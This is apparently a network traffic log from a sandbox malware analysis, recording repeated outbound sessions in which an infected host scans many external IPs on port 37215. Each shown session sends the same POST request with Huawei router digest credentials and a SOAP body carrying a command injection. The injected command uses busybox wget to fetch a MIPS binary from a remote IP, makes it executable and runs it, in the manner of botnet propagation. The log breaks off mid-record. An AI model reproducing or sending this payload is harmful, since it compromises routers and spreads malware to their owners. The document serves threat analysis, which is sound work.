Jun 10, 2024 15:38:03.339504957 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.13	41730	156.25.228.88	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.340485096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.13	40136	156.14.120.12	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.341706038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.13	38744	197.11.229.111	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.342705011 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.13	57900	41.238.228.150	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.343950033 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.13	55698	41.202.25.55	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.345057011 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.13	48376	197.68.156.211	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.346134901 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.13	56238	41.121.99.46	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.347131014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.13	51598	156.2.114.45	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.348284960 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.13	38838	41.78.83.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.349379063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.13	51480	41.29.192.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.350665092 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 